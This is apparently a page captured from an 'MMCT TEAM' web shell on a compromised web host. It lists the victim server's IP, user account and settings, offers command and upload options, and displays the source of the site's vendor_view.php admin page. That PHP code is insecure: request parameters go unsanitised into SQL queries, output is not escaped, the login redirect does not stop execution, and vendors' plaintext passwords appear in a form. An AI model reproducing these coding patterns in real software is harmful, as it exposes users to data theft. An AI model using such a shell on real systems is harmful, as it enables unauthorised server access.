MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/leadriding/Admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/leadriding/Admin/vendor_view.php
<?php
session_start();
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
    header("Location: login.php");
}
include("Includes/db.php");

$bid  = $_GET['id'];
$type  = $_GET['type'];

  $sql = "select * from tbl_vendore where id='$bid'";
  $sql_res = mysqli_query($con, $sql) or die(mysqli_error($con));
  $sql_row = mysqli_fetch_assoc($sql_res);
  $fe_img = $sql_row['adhar_img'];
  $fe_img1 = $sql_row['pan_img'];
  $fe_img2 = $sql_row['gst_img'];
  $fe_img3 = $sql_row['profile_photo'];
  $fe_img4 = $sql_row['photo1'];
  $fe_img5 = $sql_row['photo2'];
  
   $cat = $sql_row['categorie'];
    $sub = $sql_row['sub_categorie'];
    
    $status = $sql_row['status'];
    $package = $sql_row['package'];
    
     $sqlp = "select * from tbl_package where id='$package'";
  $sql_resp = mysqli_query($con, $sqlp) or die(mysqli_error($con));
  $sql_rowp = mysqli_fetch_assoc($sql_resp);
 $pname = $sql_rowp['name'];
      
?>

<!doctype html>
<html lang="en">
<head>
        
     <?php include 'Includes/head.php'; ?>
      <link href="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.6-rc.0/css/select2.min.css" rel="stylesheet" />
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">

    </head>

    <body data-sidebar="dark">

    <!-- <body data-layout="horizontal" data-topbar="dark"> -->

        <!-- Begin page -->
        <div id="layout-wrapper">

            
            <?php include 'Includes/header.php'; ?>

            <!-- ========== Left Sidebar Start ========== -->
            <div class="vertical-menu">

                <div data-simplebar class="h-100">

                    <!--- Sidemenu -->
                   <?php include 'Includes/sidebar.php'; ?>
                    <!-- Sidebar -->
                </div>
            </div>
            <!-- Left Sidebar End -->

            

            <!-- ============================================================== -->
            <!-- Start right Content here -->
            <!-- ============================================================== -->
            <div class="main-content">

                <div class="page-content">
                    <div class="container-fluid">

                        <!-- start page title -->
                        <div class="row">
                            <div class="col-12">
                                <div class="page-title-box d-sm-flex align-items-center justify-content-between">
                                    <h4 class="mb-sm-0 font-size-18"> Details</h4>

                                  

                                </div>
                            </div>
                        </div>
                        <!-- end page title -->

                       <div class="row">
                    
                        <div class="card">
                            <div class="card-body">
                                <h4 class="card-title"></h4>
                               
                                <form class="needs-validation" method="POST" action="action/edit_details.php?id=<?php echo $bid; ?>" enctype="multipart/form-data">
                                    <div class="row">
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Name </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['name']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Company Name </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['cname']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> E-mail </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['email']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Mobile Number </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['phone']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Address </label>
                                            <textarea class="form-control "  name="desc" id="desc" ><?php echo $sql_row['address']; ?></textarea>

                                                
                                            </div>
                                        </div>
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Pincode </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['pincode']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                           <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> city </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['city']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        
                                         <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Whatsapp Number </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['wh_no']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        
                                        
                                        

                                        <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">addhar card Image</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                               <a href="../vendor/<?php echo $fe_img; ?>"><?php echo $fe_img; ?></a>
                                               <br>
                                        <img id="thumb" src="../vendor/<?php echo $fe_img; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                
                                        </div>
                                        
                                        <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label"> pan card Image</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../vendor/<?php echo $fe_img1; ?>"><?php echo $fe_img1; ?></a>
                                               <br>
                                        <img id="thumb" src="../vendor/<?php echo $fe_img1; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                
                                        </div>
                                        
                                        <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label"> Gst </label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../vendor/<?php echo $fe_img2; ?>"><?php echo $fe_img2; ?></a>
                                               <br>
                                        <img id="thumb" src="../vendor/<?php echo $fe_img2; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                
                                        </div>
                                       
                                         
                                        
                                         <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label"> Profile Photo</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../vendor/<?php echo $fe_img3; ?>"><?php echo $fe_img3; ?></a>
                                               <br>
                                        <img id="thumb" src="../vendor/<?php echo $fe_img3; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                
                                        </div>
                                        
                                         <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">Photo 1</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../vendor/<?php echo $fe_img4; ?>"><?php echo $fe_img4; ?></a>
                                               <br>
                                        <img id="thumb" src="../vendor/<?php echo $fe_img4; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                 <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">Photo 2</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../vendor/<?php echo $fe_img5; ?>"><?php echo $fe_img5; ?></a>
                                               <br>
                                        <img id="thumb" src="../vendor/<?php echo $fe_img5; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                
                                        
                                        <div class="col-md-6 col-sm-12 col-xs-12 form-group">
                                                    <label for="select">Categories</label>
                                                    <select class="form-control" name="desig" id="desig">
                                                          <?php
                                                        $new_qu3 = "select * from tbl_categories ";
                                                        $new_res3 = mysqli_query($con, $new_qu3) or die(mysqli_error($con));

                                                        while ($new_row3 = mysqli_fetch_assoc($new_res3)) { ?>
                                                            <?php if ($new_row3['id'] == $cat) { ?>
                                                                <option value="<?php echo $new_row3['id']; ?>" selected><?php echo $new_row3['name']; ?></option>
                                                            <?php } else { ?>
                                                                <option value="<?php echo $new_row3['id']; ?>"><?php echo $new_row3['name']; ?></option>
                                                            <?php } ?>
                                                        <?php } ?>
                                                    </select>
                                                </div>
                                            
                                                
                                                <div class="col-md-6 col-sm-12 col-xs-12 form-group has-feedback Salesman-Area-Allocation1 sales">
                                                    <label class="village-salesarea">Sub Categories </label>
                                                    <select class="form-control fav_clr" name="village[]" id="village"  multiple>
                                                        <?php
                                                        $mc = $sub;
                                                         $sm = "select * from tbl_sub_category";
                                                         $rm = mysqli_query($con,$sm);
                                                              $full = array();
                                                              while ($mr = mysqli_fetch_array($rm)) {
                                                                $full[] = array('vid'=>$mr['id'],'vname'=>$mr['name']);
                                                              } 

                                                           $mytitle = explode(',',$mc); //Hotel tbl value
                                                           foreach($full as $key=>$opt)
                                                           {
                                                            $d =  $opt['vid'];
                                                            $n = $opt['vname'];
                                                            $sel = '';
                                                            if(in_array($d,$mytitle))
                                                            {
                                                              $sel = ' selected="selected" ';
                                                              echo '<option ' . $sel . ' value="' . $d . '">' . $n . '</option>'; 
                                                            }
                                                            else
                                                            {
                                                              echo '<option value="' . $d . '">' . $n . '</option>';
                                                            }
                                                         }
                                                        ?>
                                                        </select>
                                            
                                                    </div>
                                                    
                                                     <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Package </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo  $pname; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        
                                         <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Working Area </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['working_area']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Relationship Manager </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['relationship_manger']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Password </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['password']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        
                                        
                                            
                                    
                                                </div>
                                        
                                        
                                                
                                    

                                    

                                    
                                    
                                   
                                    
                                  
                                     
                                        
                                   

                                  
           
                                    
                                    <div>
                                        <?php if($status == '0'){ ?>
                                        <!--<button class="btn btn-primary" type="submit">Submit </button>-->
                                        <a href="action/vendor_approve.php?id=<?php echo $bid; ?>"><button type="button" class="btn btn-primary waves-effect waves-light">
                                               <i class="fa fa-check"></i> Approve
                                                </button></a>
                                                
                                                <a href="action/vendor_disapprove.php?id=<?php echo $bid; ?>"><button type="button" class="btn btn-danger  waves-effect waves-light">
                                               <i class="fa fa-close"></i> Reject
                                                </button></a>
                                                <?php } ?>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <!-- end card -->
                     <!-- end col -->

                   
                </div>
                        <!-- end row -->

                       
                        <!-- end row -->

                       
                        <!-- end row -->
                    </div>
                    <!-- container-fluid -->
                </div>
                <!-- End Page-content -->

                

                <footer class="footer">
                     <?php include 'Includes/footer.php'; ?>
                </footer>
            </div>
            <!-- end main content-->

        </div>
        <!-- END layout-wrapper -->

        <!-- Right Sidebar -->
        
        <!-- /Right-bar -->

        <!-- Right bar overlay-->
        <div class="rightbar-overlay"></div>

     
        <?php include 'Includes/bscript.php'; ?>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.6-rc.0/js/select2.min.js"></script>


    
    <script type="text/javascript">
        
        $(document).ready(function() {
            $('.fav_clr').select2({
        // placeholder: 'colors',
        // width: '100%',
            // border: '1px solid #e4e5e7',
    });
        });

        $('.fav_clr').on("select2:select", function (e) { 
         var data = e.params.data.text;
         if(data=='all'){
            $(".fav_clr > option").prop("selected","selected");
            $(".fav_clr").trigger("change");
        }
    });


</script>
    </body>
   
</html>

MMCT - 2023